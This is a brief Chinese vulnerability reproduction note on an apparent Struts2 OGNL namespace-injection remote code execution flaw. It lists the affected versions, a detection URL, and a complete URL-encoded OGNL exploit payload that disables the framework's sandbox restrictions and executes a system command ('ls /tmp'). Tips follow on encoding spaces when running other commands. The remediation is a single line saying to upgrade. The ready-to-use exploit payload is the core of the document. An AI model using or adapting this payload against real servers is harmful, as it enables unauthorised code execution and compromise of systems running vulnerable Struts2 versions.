一、漏洞描述
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。action元素没有设置名称空间属性,或者使用了通配符名称空间将由用户从ui传递并解析为OGNL表达式,最终导致远程代码执行漏洞.
二、影响版本
2.3<=Struts<= 2.3.34 , 2.5 <=Struts<= 2.5.16
三、POC
验证漏洞是否存在:
http://靶机IP/struts2-showcase/$%7B233*233%7D/actionChain1.action
漏洞利用:
/struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls%20/tmp')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action
四、漏洞复现
访问/struts2-showcase/路径
访问URL(url见POC1),漏洞存在(不抓包的话可以在url里看到)
POC代入:(执行命令时需要用%20代替空格,直接使用空格会出错,如下图)
五、修复建议
升级版本